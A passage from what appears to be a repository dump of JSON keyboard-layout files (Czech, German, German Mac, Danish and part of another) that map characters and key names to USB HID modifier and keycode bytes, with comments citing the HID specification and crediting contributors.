\"X\":\"02,00,1b\",\n    \"Z\":\"02,00,1c\",\n    \"Y\":\"02,00,1d\",\n    \"+\":\"02,00,1e\",\n    \"\\\"\":\"02,00,1f\",\n    \"*\":\"02,00,20\",\n    \"%\":\"02,00,22\",\n    \"&\":\"02,00,23\",\n    \"/\":\"02,00,24\",\n    \"(\":\"02,00,25\",\n    \")\":\"02,00,26\",\n    \"=\":\"02,00,27\",\n    \"?\":\"02,00,2d\",\n    \"`\":\"02,00,2e\",\n    \"!\":\"02,00,30\",\n    \";\":\"02,00,36\",\n    \":\":\"02,00,37\",\n    \"_\":\"02,00,38\",\n    \">\":\"02,00,64\",\n    \"CTRL-SHIFT\":\"03,00,00\",\n    \"ALT\":\"04,00,00\",\n    \"CTRL-ALT\":\"05,00,00\",\n    \"ALT-SHIFT\":\"06,00,00\",\n    \"COMMAND\":\"08,00,00\",\n    \"GUI\":\"08,00,00\",\n    \"WINDOWS\":\"08,00,00\",\n    \"COMMAND-OPTION\":\"12,00,00\",\n    \"@\":\"40,00,1f\",\n    \"#\":\"40,00,20\",\n    \"|\":\"40,00,24\",\n    \"~\":\"40,00,2e\",\n    \"[\":\"40,00,2f\",\n    \"]\":\"40,00,30\",\n    \"}\":\"40,00,31\",\n    \"{\":\"40,00,35\",\n    \"\\\\\":\"40,00,64\",\n    \"COMMAND-CTRL-SHIFT\":\"40,00,64\",\n    \"COMMAND-CTRL\":\"40,00,64\",\n    \"COMMAND-OPTION-SHIFT'\":\"40,00,64\",\n    \"__comment\":\"Everything below was additionally added by kuyaya\",\n    \"GUI-l\":\"08,00,0f\",\n    \"RIGHTSHIFT\":\"20,00,00\",\n    \"A\":\"20,00,04\",\n    \"B\":\"20,00,05\",\n    \"C\":\"20,00,06\",\n    \"D\":\"20,00,07\",\n    \"E\":\"20,00,08\",\n    \"F\":\"20,00,09\",\n    \"G\":\"20,00,0a\",\n    \"H\":\"20,00,0b\",\n    \"I\":\"20,00,0c\",\n    \"J\":\"20,00,0d\",\n    \"K\":\"20,00,0e\",\n    \"L\":\"20,00,0f\",\n    \"M\":\"20,00,10\",\n    \"N\":\"20,00,11\",\n    \"O\":\"20,00,12\",\n    \"P\":\"20,00,13\",\n    \"Q\":\"20,00,14\",\n    \"R\":\"20,00,15\",\n    \"S\":\"20,00,16\",\n    \"T\":\"20,00,17\",\n    \"U\":\"20,00,18\",\n    \"V\":\"20,00,19\",\n    \"W\":\"20,00,1a\",\n    \"X\":\"20,00,1b\",\n    \"Z\":\"20,00,1c\",\n    \"Y\":\"20,00,1d\",\n    \"+\":\"20,00,1e\",\n    \"\\\"\":\"20,00,1f\",\n    \"*\":\"20,00,20\",\n    \"%\":\"20,00,22\",\n    \"&\":\"20,00,23\",\n    \"/\":\"20,00,24\",\n    \"(\":\"20,00,25\",\n    \")\":\"20,00,26\",\n    \"=\":\"20,00,27\",\n    \"?\":\"20,00,2d\",\n    \"`\":\"20,00,2e\",\n    \"!\":\"20,00,30\",\n    \";\":\"20,00,36\",\n    \":\":\"20,00,37\",\n    \"_\":\"20,00,38\",\n    \">\":\"20,00,64\",\n    \"°\":\"02,00,35\",\n    \"°\":\"20,00,35\",\n    \"§\":\"00,00,35\",\n    \"ç\":\"02,00,21\",\n    \"ç\":\"20,00,21\",\n    \"¬\":\"40,00,23\",\n    \"¦\":\"40,00,1e\",\n    \"¢\":\"40,00,25\",\n    \"´\":\"40,00,2d\",\n    \"BACKSPACE\":\"00,00,2a\",\n    \"SHIFT-BACKSPACE\":\"02,00,2a\", \n    \"SHIFT-BACKSPACE\":\"20,00,2a\",\n    \"€\":\"40,00,08\",\n    \"è\":\"02,00,2f\",\n    \"è\":\"20,00,2f\",\n    \"ü\":\"00,00,2f\",\n    \"¨\":\"00,00,30\",\n    \"é\":\"02,00,33\",\n    \"é\":\"20,00,33\",\n    \"ö\":\"00,00,33\",\n    \"ä\":\"00,00,34\",\n    \"à\":\"02,00,34\",\n    \"à\":\"20,00,34\",\n    \"£\":\"02,00,32\",\n    \"£\":\"20,00,32\",\n    \"ALT-GR\":\"40,00,00\",\n    \"RIGHTCONTROL\":\"10,00,00\",\n    \"NUMLOCK\":\"00,00,53\",\n    \"+\":\"00,00,57\",\n    \"-\":\"00,00,56\",\n    \"*\":\"00,00,55\",\n    \"/\":\"00,00,54\",\n    \"ENTER\":\"00,00,58\",\n    \"DEL\":\"00,00,63\",\n    \"INSERT\":\"00,00,62\",\n    \"END\":\"00,00,59\",\n    \"DOWN\":\"00,00,5a\",\n    \"PAGEDOWN\":\"00,00,5b\",\n    \"LEFT\":\"00,00,5c\",\n    \"RIGHT\":\"00,00,5e\",\n    \"HOME\":\"00,00,5f\",\n    \"UP\":\"00,00,60\",\n    \"PAGEUP\":\"00,00,61\",\n    \".\":\"00,00,63\",\n    \"0\":\"00,00,62\",\n    \"1\":\"00,00,59\",\n    \"2\":\"00,00,5a\",\n    \"3\":\"00,00,5b\",\n    \"4\":\"00,00,5c\",\n    \"5\":\"00,00,5d\",\n    \"6\":\"00,00,5e\",\n    \"7\":\"00,00,5f\",\n    \"8\":\"00,00,60\",\n    \"9\":\"00,00,61\"\n}\n"
  },
  {
    "path": "languages/cz.json",
    "content": "{\n    \"__comment\":\"All numbers here are in hex format and 0x is ignored.\",\n    \"__comment\":\" \",\n    \"__comment\":\"This list is in ascending order of 3rd byte (HID Usage ID).\",\n    \"__comment\":\"  See section 10 Keyboard/Keypad Page (0x07)\",\n    \"__comment\":\"  of document USB HID Usage Tables Version 1.12.\",\n    \"__comment\":\" \",\n    \"__comment\":\"Definition of these 3 bytes can be found\",\n    \"__comment\":\"  in section B.1 Protocol 1 (Keyboard)\",\n    \"__comment\":\"  of document Device Class Definition for HID Version 1.11\",\n    \"__comment\":\"  - byte 1: Modifier keys\",\n    \"__comment\":\"  - byte 2: Reserved\",\n    \"__comment\":\"  - byte 3: Keycode 1\",\n    \"__comment\":\" \",\n    \"__comment\":\"Both documents can be obtained from link here\",\n    \"__comment\":\"  http://www.usb.org/developers/hidpage/\",\n    \"__comment\":\" \",\n    \"__comment\":\" Czech QWERTZ version made by Andrej Šimko\",\n    \"__comment\":\" Note that some special characters use leftCtrl+leftAlt+[key]\",\n\t\"__comment\":\" Special Czech characters like ěščřžýáíéů are not included\",\n    \"a\":\"00,00,04\",\n    \"b\":\"00,00,05\",\n    \"c\":\"00,00,06\",\n    \"d\":\"00,00,07\",\n    \"e\":\"00,00,08\",\n    \"f\":\"00,00,09\",\n    \"g\":\"00,00,0a\",\n    \"h\":\"00,00,0b\",\n    \"i\":\"00,00,0c\",\n    \"j\":\"00,00,0d\",\n    \"k\":\"00,00,0e\",\n    \"l\":\"00,00,0f\",\n    \"m\":\"00,00,10\",\n    \"n\":\"00,00,11\",\n    \"o\":\"00,00,12\",\n    \"p\":\"00,00,13\",\n    \"q\":\"00,00,14\",\n    \"r\":\"00,00,15\",\n    \"s\":\"00,00,16\",\n    \"t\":\"00,00,17\",\n    \"u\":\"00,00,18\",\n    \"v\":\"00,00,19\",\n    \"w\":\"00,00,1a\",\n    \"x\":\"00,00,1b\",\n    \"z\":\"00,00,1c\",\n    \"y\":\"00,00,1d\",\n    \"+\":\"00,00,1e\",\n    \"ENTER\":\"00,00,28\",\n    \"ESC\":\"00,00,29\",\n    \"ESCAPE\":\"00,00,29\",\n    \"TAB\":\"00,00,2b\",\n    \" \":\"00,00,2c\",\n    \"SPACE\":\"00,00,2c\",\n    \"CTRL-ALT\":\"05,00,00\",\n    \"=\":\"00,00,2d\",\n    \")\":\"00,00,30\",\n    \";\":\"00,00,35\",\n    \",\":\"00,00,36\",\n    \".\":\"00,00,37\",\n    \"-\":\"00,00,38\",\n    \"CAPSLOCK\":\"00,00,39\",\n    \"F1\":\"00,00,3a\",\n    \"F2\":\"00,00,3b\",\n    \"F3\":\"00,00,3c\",\n    \"F4\":\"00,00,3d\",\n    \"F5\":\"00,00,3e\",\n    \"F6\":\"00,00,3f\",\n    \"F7\":\"00,00,40\",\n    \"F8\":\"00,00,41\",\n    \"F9\":\"00,00,42\",\n    \"F10\":\"00,00,43\",\n    \"F11\":\"00,00,44\",\n    \"F12\":\"00,00,45\",\n    \"PRINTSCREEN\":\"00,00,46\",\n    \"SCROLLLOCK\":\"00,00,47\",\n    \"BREAK\":\"00,00,48\",\n    \"PAUSE\":\"00,00,48\",\n    \"INSERT\":\"00,00,49\",\n    \"HOME\":\"00,00,4a\",\n    \"PAGEUP\":\"00,00,4b\",\n    \"DEL\":\"00,00,4c\",\n    \"DELETE\":\"00,00,4c\",\n    \"END\":\"00,00,4d\",\n    \"PAGEDOWN\":\"00,00,4e\",\n    \"RIGHT\":\"00,00,4f\",\n    \"RIGHTARROW\":\"00,00,4f\",\n    \"LEFT\":\"00,00,50\",\n    \"LEFTARROW\":\"00,00,50\",\n    \"DOWN\":\"00,00,51\",\n    \"DOWNARROW\":\"00,00,51\",\n    \"UP\":\"00,00,52\",\n    \"UPARROW\":\"00,00,52\",\n    \"APP\":\"00,00,65\",\n    \"MENU\":\"00,00,65\",\n    \"ALT-TAB\":\"00,00,71\",\n    \"CONTROL\":\"01,00,00\",\n    \"CTRL\":\"01,00,00\",\n    \"SHIFT\":\"02,00,00\",\n    \"A\":\"02,00,04\",\n    \"B\":\"02,00,05\",\n    \"C\":\"02,00,06\",\n    \"D\":\"02,00,07\",\n    \"E\":\"02,00,08\",\n    \"F\":\"02,00,09\",\n    \"G\":\"02,00,0a\",\n    \"H\":\"02,00,0b\",\n    \"I\":\"02,00,0c\",\n    \"J\":\"02,00,0d\",\n    \"K\":\"02,00,0e\",\n    \"L\":\"02,00,0f\",\n    \"M\":\"02,00,10\",\n    \"N\":\"02,00,11\",\n    \"O\":\"02,00,12\",\n    \"P\":\"02,00,13\",\n    \"Q\":\"02,00,14\",\n    \"R\":\"02,00,15\",\n    \"S\":\"02,00,16\",\n    \"T\":\"02,00,17\",\n    \"U\":\"02,00,18\",\n    \"V\":\"02,00,19\",\n    \"W\":\"02,00,1a\",\n    \"X\":\"02,00,1b\",\n    \"Z\":\"02,00,1c\",\n    \"Y\":\"02,00,1d\",\n    \"1\":\"02,00,1e\",\n    \"2\":\"02,00,1f\",\n    \"3\":\"02,00,20\",\n    \"4\":\"02,00,21\",\n    \"5\":\"02,00,22\",\n    \"6\":\"02,00,23\",\n    \"7\":\"02,00,24\",\n    \"8\":\"02,00,25\",\n    \"9\":\"02,00,26\",\n    \"0\":\"02,00,27\",\n    \"\\\\\":\"05,00,14\",\n    \"%\":\"02,00,2d\",\n    \"/\":\"02,00,2f\",\n    \"(\":\"02,00,30\",\n    \"'\":\"02,00,31\",\n    \"\\\"\":\"02,00,33\",\n    \"!\":\"02,00,34\",\n    \"?\":\"02,00,36\",\n    \":\":\"02,00,37\",\n    \"_\":\"02,00,38\",\n    \"|\":\"05,00,1a\",\n    \"#\":\"05,00,1b\",\n    \"&\":\"05,00,06\",\n    \"@\":\"05,00,19\",\n    \"$\":\"05,00,33\",\n    \"*\":\"05,00,38\",\n    \"{\":\"05,00,05\",\n    \"}\":\"05,00,11\",\n    \"[\":\"05,00,09\",\n    \"]\":\"05,00,0a\",\n    \"~\":\"05,00,1e\",\n    \"^\":\"05,00,20\",\n    \"<\":\"05,00,36\",\n    \">\":\"05,00,37\",\n    \"CTRL-SHIFT\":\"03,00,00\",\n    \"ALT\":\"04,00,00\",\n    \"ALT-SHIFT\":\"06,00,00\",\n    \"COMMAND\":\"08,00,00\",\n    \"GUI\":\"08,00,00\",\n    \"WINDOWS\":\"08,00,00\",\n    \"COMMAND-OPTION\":\"12,00,00\",\n    \"COMMAND-CTRL-SHIFT\":\"12,00,00\",\n    \"COMMAND-CTRL\":\"12,00,00\",\n    \"COMMAND-OPTION-SHIFT'\":\"12,00,00\"\n}"
  },
  {
    "path": "languages/de.json",
    "content": "{\n    \"__comment\":\"All numbers here are in hex format and 0x is ignored.\",\n    \"__comment\":\" \",\n    \"__comment\":\"This list is in ascending order of 3rd byte (HID Usage ID).\",\n    \"__comment\":\"  See section 10 Keyboard/Keypad Page (0x07)\",\n    \"__comment\":\"  of document USB HID Usage Tables Version 1.12.\",\n    \"__comment\":\" \",\n    \"__comment\":\"Definition of these 3 bytes can be found\",\n    \"__comment\":\"  in section B.1 Protocol 1 (Keyboard)\",\n    \"__comment\":\"  of document Device Class Definition for HID Version 1.11\",\n    \"__comment\":\"  - byte 1: Modifier keys\",\n    \"__comment\":\"  - byte 2: Reserved\",\n    \"__comment\":\"  - byte 3: Keycode 1\",\n    \"__comment\":\" \",\n    \"__comment\":\"Both documents can be obtained from link here\",\n    \"__comment\":\"  http://www.usb.org/developers/hidpage/\",\n    \"__comment\":\" \",\n    \"__comment\":\"A = LeftShift + a, { = LeftShift + [\",\n    \"__comment\":\" \",\n    \"__comment\":\"German umlauts added by Simon Dankelmann\",\n    \"a\":\"00,00,04\",\n    \"b\":\"00,00,05\",\n    \"c\":\"00,00,06\",\n    \"d\":\"00,00,07\",\n    \"e\":\"00,00,08\",\n    \"f\":\"00,00,09\",\n    \"g\":\"00,00,0a\",\n    \"h\":\"00,00,0b\",\n    \"i\":\"00,00,0c\",\n    \"j\":\"00,00,0d\",\n    \"k\":\"00,00,0e\",\n    \"l\":\"00,00,0f\",\n    \"m\":\"00,00,10\",\n    \"n\":\"00,00,11\",\n    \"o\":\"00,00,12\",\n    \"p\":\"00,00,13\",\n    \"q\":\"00,00,14\",\n    \"r\":\"00,00,15\",\n    \"s\":\"00,00,16\",\n    \"t\":\"00,00,17\",\n    \"u\":\"00,00,18\",\n    \"v\":\"00,00,19\",\n    \"w\":\"00,00,1a\",\n    \"x\":\"00,00,1b\",\n    \"z\":\"00,00,1c\",\n    \"y\":\"00,00,1d\",\n    \"1\":\"00,00,1e\",\n    \"2\":\"00,00,1f\",\n    \"3\":\"00,00,20\",\n    \"4\":\"00,00,21\",\n    \"5\":\"00,00,22\",\n    \"6\":\"00,00,23\",\n    \"7\":\"00,00,24\",\n    \"8\":\"00,00,25\",\n    \"9\":\"00,00,26\",\n    \"0\":\"00,00,27\",\n    \"ENTER\":\"00,00,28\",\n    \"ESC\":\"00,00,29\",\n    \"ESCAPE\":\"00,00,29\",\n    \"TAB\":\"00,00,2b\",\n    \" \":\"00,00,2c\",\n    \"SPACE\":\"00,00,2c\",\n    \"+\":\"00,00,30\",\n    \"#\":\"00,00,31\",\n    \"^\":\"00,00,35\",\n    \",\":\"00,00,36\",\n    \".\":\"00,00,37\",\n    \"-\":\"00,00,38\",\n    \"CAPSLOCK\":\"00,00,39\",\n    \"F1\":\"00,00,3a\",\n    \"F2\":\"00,00,3b\",\n    \"F3\":\"00,00,3c\",\n    \"F4\":\"00,00,3d\",\n    \"F5\":\"00,00,3e\",\n    \"F6\":\"00,00,3f\",\n    \"F7\":\"00,00,40\",\n    \"F8\":\"00,00,41\",\n    \"F9\":\"00,00,42\",\n    \"F10\":\"00,00,43\",\n    \"F11\":\"00,00,44\",\n    \"F12\":\"00,00,45\",\n    \"PRINTSCREEN\":\"00,00,46\",\n    \"SCROLLLOCK\":\"00,00,47\",\n    \"BREAK\":\"00,00,48\",\n    \"PAUSE\":\"00,00,48\",\n    \"INSERT\":\"00,00,49\",\n    \"HOME\":\"00,00,4a\",\n    \"PAGEUP\":\"00,00,4b\",\n    \"DEL\":\"00,00,4c\",\n    \"DELETE\":\"00,00,4c\",\n    \"END\":\"00,00,4d\",\n    \"PAGEDOWN\":\"00,00,4e\",\n    \"RIGHT\":\"00,00,4f\",\n    \"RIGHTARROW\":\"00,00,4f\",\n    \"LEFT\":\"00,00,50\",\n    \"LEFTARROW\":\"00,00,50\",\n    \"DOWN\":\"00,00,51\",\n    \"DOWNARROW\":\"00,00,51\",\n    \"UP\":\"00,00,52\",\n    \"UPARROW\":\"00,00,52\",\n    \"NUMLOCK\":\"00,00,53\",\n    \"<\":\"00,00,64\",\n    \"APP\":\"00,00,65\",\n    \"MENU\":\"00,00,65\",\n    \"ALT-TAB\":\"00,00,71\",\n    \"CONTROL\":\"01,00,00\",\n    \"CTRL\":\"01,00,00\",\n    \"SHIFT\":\"02,00,00\",\n    \"A\":\"02,00,04\",\n    \"B\":\"02,00,05\",\n    \"C\":\"02,00,06\",\n    \"D\":\"02,00,07\",\n    \"E\":\"02,00,08\",\n    \"F\":\"02,00,09\",\n    \"G\":\"02,00,0a\",\n    \"H\":\"02,00,0b\",\n    \"I\":\"02,00,0c\",\n    \"J\":\"02,00,0d\",\n    \"K\":\"02,00,0e\",\n    \"L\":\"02,00,0f\",\n    \"M\":\"02,00,10\",\n    \"N\":\"02,00,11\",\n    \"O\":\"02,00,12\",\n    \"P\":\"02,00,13\",\n    \"Q\":\"02,00,14\",\n    \"R\":\"02,00,15\",\n    \"S\":\"02,00,16\",\n    \"T\":\"02,00,17\",\n    \"U\":\"02,00,18\",\n    \"V\":\"02,00,19\",\n    \"W\":\"02,00,1a\",\n    \"X\":\"02,00,1b\",\n    \"Z\":\"02,00,1c\",\n    \"Y\":\"02,00,1d\",\n    \"!\":\"02,00,1e\",\n    \"\\\"\":\"02,00,1f\",\n    \"$\":\"02,00,21\",\n    \"%\":\"02,00,22\",\n    \"&\":\"02,00,23\",\n    \"/\":\"02,00,24\",\n    \"(\":\"02,00,25\",\n    \")\":\"02,00,26\",\n    \"=\":\"02,00,27\",\n    \"?\":\"02,00,2d\",\n    \"`\":\"02,00,2e\",\n    \"*\":\"02,00,30\",\n    \"'\":\"02,00,31\",\n    \";\":\"02,00,36\",\n    \":\":\"02,00,37\",\n    \"_\":\"02,00,38\",\n    \">\":\"02,00,64\",\n    \"CTRL-SHIFT\":\"03,00,00\",\n    \"ALT\":\"04,00,00\",\n    \"CTRL-ALT\":\"05,00,00\",\n    \"ALT-SHIFT\":\"06,00,00\",\n    \"COMMAND\":\"08,00,00\",\n    \"GUI\":\"08,00,00\",\n    \"WINDOWS\":\"08,00,00\",\n    \"COMMAND-OPTION\":\"12,00,00\",\n    \"@\":\"40,00,14\",\n    \"{\":\"40,00,24\",\n    \"[\":\"40,00,25\",\n    \"]\":\"40,00,26\",\n    \"}\":\"40,00,27\",\n    \"\\\\\":\"40,00,2d\",\n    \"~\":\"40,00,30\",\n    \"|\":\"40,00,64\",\n    \"COMMAND-CTRL-SHIFT\":\"40,00,64\",\n    \"COMMAND-CTRL\":\"40,00,64\",\n    \"COMMAND-OPTION-SHIFT'\":\"40,00,64\",\n    \"ß\":\"00,00,2d\",\n    \"€\":\"40,00,08\",\n    \"§\":\"02,00,20\",\n    \"ä\":\"00,00,34\",\n    \"ö\":\"00,00,33\",\n    \"ü\":\"00,00,2f\",\n    \"Ä\":\"02,00,34\",\n    \"Ö\":\"02,00,33\",\n    \"Ü\":\"02,00,2f\"\n}\n"
  },
  {
    "path": "languages/de_mac.json",
    "content": "{\n  \"0\": \"00,00,27\",\n  \"1\": \"00,00,1e\",\n  \"2\": \"00,00,1f\",\n  \"3\": \"00,00,20\",\n  \"4\": \"00,00,21\",\n  \"5\": \"00,00,22\",\n  \"6\": \"00,00,23\",\n  \"7\": \"00,00,24\",\n  \"8\": \"00,00,25\",\n  \"9\": \"00,00,26\",\n  \"__comment\": \"A mac's default Germany keyboard layout\",\n  \"a\": \"00,00,04\",\n  \"b\": \"00,00,05\",\n  \"c\": \"00,00,06\",\n  \"d\": \"00,00,07\",\n  \"e\": \"00,00,08\",\n  \"f\": \"00,00,09\",\n  \"g\": \"00,00,0a\",\n  \"h\": \"00,00,0b\",\n  \"i\": \"00,00,0c\",\n  \"j\": \"00,00,0d\",\n  \"k\": \"00,00,0e\",\n  \"l\": \"00,00,0f\",\n  \"m\": \"00,00,10\",\n  \"n\": \"00,00,11\",\n  \"o\": \"00,00,12\",\n  \"p\": \"00,00,13\",\n  \"q\": \"00,00,14\",\n  \"r\": \"00,00,15\",\n  \"s\": \"00,00,16\",\n  \"t\": \"00,00,17\",\n  \"u\": \"00,00,18\",\n  \"v\": \"00,00,19\",\n  \"w\": \"00,00,1a\",\n  \"x\": \"00,00,1b\",\n  \"z\": \"00,00,1c\",\n  \"y\": \"00,00,1d\",\n  \"ENTER\": \"00,00,28\",\n  \"ESC\": \"00,00,29\",\n  \"ESCAPE\": \"00,00,29\",\n  \"TAB\": \"00,00,2b\",\n  \" \": \"00,00,2c\",\n  \"SPACE\": \"00,00,2c\",\n  \"+\": \"00,00,30\",\n  \"#\": \"00,00,31\",\n  \"<\": \"00,00,35\",\n  \",\": \"00,00,36\",\n  \".\": \"00,00,37\",\n  \"-\": \"00,00,38\",\n  \"CAPSLOCK\": \"00,00,39\",\n  \"F1\": \"00,00,3a\",\n  \"F2\": \"00,00,3b\",\n  \"F3\": \"00,00,3c\",\n  \"F4\": \"00,00,3d\",\n  \"F5\": \"00,00,3e\",\n  \"F6\": \"00,00,3f\",\n  \"F7\": \"00,00,40\",\n  \"F8\": \"00,00,41\",\n  \"F9\": \"00,00,42\",\n  \"F10\": \"00,00,43\",\n  \"F11\": \"00,00,44\",\n  \"F12\": \"00,00,45\",\n  \"PRINTSCREEN\": \"00,00,46\",\n  \"SCROLLLOCK\": \"00,00,47\",\n  \"BREAK\": \"00,00,48\",\n  \"PAUSE\": \"00,00,48\",\n  \"INSERT\": \"00,00,49\",\n  \"HOME\": \"00,00,4a\",\n  \"PAGEUP\": \"00,00,4b\",\n  \"DEL\": \"00,00,4c\",\n  \"DELETE\": \"00,00,4c\",\n  \"END\": \"00,00,4d\",\n  \"PAGEDOWN\": \"00,00,4e\",\n  \"RIGHT\": \"00,00,4f\",\n  \"RIGHTARROW\": \"00,00,4f\",\n  \"LEFT\": \"00,00,50\",\n  \"LEFTARROW\": \"00,00,50\",\n  \"DOWN\": \"00,00,51\",\n  \"DOWNARROW\": \"00,00,51\",\n  \"UP\": \"00,00,52\",\n  \"UPARROW\": \"00,00,52\",\n  \"NUMLOCK\": \"00,00,53\",\n  \"^\": \"00,00,64\",\n  \"APP\": \"00,00,65\",\n  \"MENU\": \"00,00,65\",\n  \"ALT-TAB\": \"00,00,71\",\n  \"CONTROL\": \"01,00,00\",\n  \"CTRL\": \"01,00,00\",\n  \"SHIFT\": \"02,00,00\",\n  \"A\": \"02,00,04\",\n  \"B\": \"02,00,05\",\n  \"C\": \"02,00,06\",\n  \"D\": \"02,00,07\",\n  \"E\": \"02,00,08\",\n  \"F\": \"02,00,09\",\n  \"G\": \"02,00,0a\",\n  \"H\": \"02,00,0b\",\n  \"I\": \"02,00,0c\",\n  \"J\": \"02,00,0d\",\n  \"K\": \"02,00,0e\",\n  \"L\": \"02,00,0f\",\n  \"M\": \"02,00,10\",\n  \"N\": \"02,00,11\",\n  \"O\": \"02,00,12\",\n  \"P\": \"02,00,13\",\n  \"Q\": \"02,00,14\",\n  \"R\": \"02,00,15\",\n  \"S\": \"02,00,16\",\n  \"T\": \"02,00,17\",\n  \"U\": \"02,00,18\",\n  \"V\": \"02,00,19\",\n  \"W\": \"02,00,1a\",\n  \"X\": \"02,00,1b\",\n  \"Z\": \"02,00,1c\",\n  \"Y\": \"02,00,1d\",\n  \"!\": \"02,00,1e\",\n  \"\\\"\": \"02,00,1f\",\n  \"$\": \"02,00,21\",\n  \"%\": \"02,00,22\",\n  \"&\": \"02,00,23\",\n  \"/\": \"02,00,24\",\n  \"(\": \"02,00,25\",\n  \")\": \"02,00,26\",\n  \"=\": \"02,00,27\",\n  \"?\": \"02,00,2d\",\n  \"`\": \"02,00,2e\",\n  \"*\": \"02,00,30\",\n  \"'\": \"02,00,31\",\n  \">\": \"02,00,35\",\n  \";\": \"02,00,36\",\n  \":\": \"02,00,37\",\n  \"_\": \"02,00,38\",\n  \"CTRL-SHIFT\": \"03,00,00\",\n  \"ALT\": \"04,00,00\",\n  \"CTRL-ALT\": \"05,00,00\",\n  \"ALT-SHIFT\": \"06,00,00\",\n  \"COMMAND\": \"08,00,00\",\n  \"GUI\": \"08,00,00\",\n  \"WINDOWS\": \"08,00,00\",\n  \"COMMAND-OPTION\": \"12,00,00\",\n  \"~\": \"40,00,11\",\n  \"@\": \"40,00,0f\",\n  \"[\": \"40,00,22\",\n  \"]\": \"40,00,23\",\n  \"\\\\\": \"42,00,24\",\n  \"|\": \"40,00,24\",\n  \"{\": \"40,00,25\",\n  \"}\": \"40,00,26\",\n  \"COMMAND-CTRL-SHIFT\": \"40,00,64\",\n  \"COMMAND-CTRL\": \"40,00,64\",\n  \"COMMAND-OPTION-SHIFT'\": \"40,00,64\",\n  \"ß\": \"00,00,2d\",\n  \"€\": \"40,00,08\",\n  \"§\": \"02,00,20\",\n  \"ä\": \"00,00,34\",\n  \"ö\": \"00,00,33\",\n  \"ü\": \"00,00,2f\",\n  \"Ä\": \"02,00,34\",\n  \"Ö\": \"02,00,33\",\n  \"Ü\": \"02,00,2f\"\n}\n"
  },
  {
    "path": "languages/dk.json",
    "content": "{\n    \"__comment\":\"All numbers here are in hex format and 0x is ignored.\",\n    \"__comment\":\" \",\n    \"__comment\":\"This list is in ascending order of 3rd byte (HID Usage ID).\",\n    \"__comment\":\"  See section 10 Keyboard/Keypad Page (0x07)\",\n    \"__comment\":\"  of document USB HID Usage Tables Version 1.12.\",\n    \"__comment\":\" \",\n    \"__comment\":\"Definition of these 3 bytes can be found\",\n    \"__comment\":\"  in section B.1 Protocol 1 (Keyboard)\",\n    \"__comment\":\"  of document Device Class Definition for HID Version 1.11\",\n    \"__comment\":\"  - byte 1: Modifier keys\",\n    \"__comment\":\"  - byte 2: Reserved\",\n    \"__comment\":\"  - byte 3: Keycode 1\",\n    \"__comment\":\" \",\n    \"__comment\":\"Both documents can be obtained from link here\",\n    \"__comment\":\"  http://www.usb.org/developers/hidpage/\",\n    \"__comment\":\" \",\n    \"__comment\":\"A = LeftShift + a, { = LeftShift + [\",\n    \"__comment\":\" \",\n    \"a\":\"00,00,04\",\n    \"b\":\"00,00,05\",\n    \"c\":\"00,00,06\",\n    \"d\":\"00,00,07\",\n    \"e\":\"00,00,08\",\n    \"f\":\"00,00,09\",\n    \"g\":\"00,00,0a\",\n    \"h\":\"00,00,0b\",\n    \"i\":\"00,00,0c\",\n    \"j\":\"00,00,0d\",\n    \"k\":\"00,00,0e\",\n    \"l\":\"00,00,0f\",\n    \"m\":\"00,00,10\",\n    \"n\":\"00,00,11\",\n    \"o\":\"00,00,12\",\n    \"p\":\"00,00,13\",\n    \"q\":\"00,00,14\",\n    \"r\":\"00,00,15\",\n    \"s\":\"00,00,16\",\n    \"t\":\"00,00,17\",\n    \"u\":\"00,00,18\",\n    \"v\":\"00,00,19\",\n    \"w\":\"00,00,1a\",\n    \"x\":\"00,00,1b\",\n    \"y\":\"00,00,1c\",\n    \"z\":\"00,00,1d\",\n    \"1\":\"00,00,1e\",\n    \"2\":\"00,00,1f\",\n    \"3\":\"00,00,20\",\n    \"4\":\"00,00,21\",\n    \"5\":\"00,00,22\",\n    \"6\":\"00,00,23\",\n    \"7\":\"00,00,24\",\n    \"8\":\"00,00,25\",\n    \"9\":\"00,00,26\",\n    \"0\":\"00,00,27\",\n    \"ENTER\":\"00,00,28\",\n    \"ESC\":\"00,00,29\",\n    \"ESCAPE\":\"00,00,29\",\n    \"TAB\":\"00,00,2b\",\n    \" \":\"00,00,2c\",\n    \"SPACE\":\"00,00,2c\",\n    \"+\":\"00,00,2d\",\n    \"'\":\"00,00,31\",\n    \",\":\"00,00,36\",\n    \".\":\"00,00,37\",\n    \"-\":\"00,00,38\",\n    \"CAPSLOCK\":\"00,00,39\",\n    \"F1\":\"00,00,3a\",\n    \"F2\":\"00,00,3b\",\n    \"F3\":\"00,00,3c\",\n    \"F4\":\"00,00,3d\",\n    \"F5\":\"00,00,3e\",\n    \"F6\":\"00,00,3f\",\n    \"F7\":\"00,00,40\",\n    \"F8\":\"00,00,41\",\n    \"F9\":\"00,00,42\",\n    \"F10\":\"00,00,43\",\n    \"F11\":\"00,00,44\",\n    \"F12\":\"00,00,45\",\n    \"PRINTSCREEN\":\"00,00,46\",\n    \"SCROLLLOCK\":\"00,00,47\",\n    \"BREAK\":\"00,00,48\",\n    \"PAUSE\":\"00,00,48\",\n    \"INSERT\":\"00,00,49\",\n    \"HOME\":\"00,00,4a\",\n    \"PAGEUP\":\"00,00,4b\",\n    \"DEL\":\"00,00,4c\",\n    \"DELETE\":\"00,00,4c\",\n    \"END\":\"00,00,4d\",\n    \"PAGEDOWN\":\"00,00,4e\",\n    \"RIGHT\":\"00,00,4f\",\n    \"RIGHTARROW\":\"00,00,4f\",\n    \"LEFT\":\"00,00,50\",\n    \"LEFTARROW\":\"00,00,50\",\n    \"DOWN\":\"00,00,51\",\n    \"DOWNARROW\":\"00,00,51\",\n    \"UP\":\"00,00,52\",\n    \"UPARROW\":\"00,00,52\",\n    \"<\":\"00,00,64\",\n    \"APP\":\"00,00,65\",\n    \"MENU\":\"00,00,65\",\n    \"ALT-TAB\":\"00,00,71\",\n    \"CONTROL\":\"01,00,00\",\n    \"CTRL\":\"01,00,00\",\n    \"SHIFT\":\"02,00,00\",\n    \"A\":\"02,00,04\",\n    \"B\":\"02,00,05\",\n    \"C\":\"02,00,06\",\n    \"D\":\"02,00,07\",\n    \"E\":\"02,00,08\",\n    \"F\":\"02,00,09\",\n    \"G\":\"02,00,0a\",\n    \"H\":\"02,00,0b\",\n    \"I\":\"02,00,0c\",\n    \"J\":\"02,00,0d\",\n    \"K\":\"02,00,0e\",\n    \"L\":\"02,00,0f\",\n    \"M\":\"02,00,10\",\n    \"N\":\"02,00,11\",\n    \"O\":\"02,00,12\",\n    \"P\":\"02,00,13\",\n    \"Q\":\"02,00,14\",\n    \"R\":\"02,00,15\",\n    \"S\":\"02,00,16\",\n    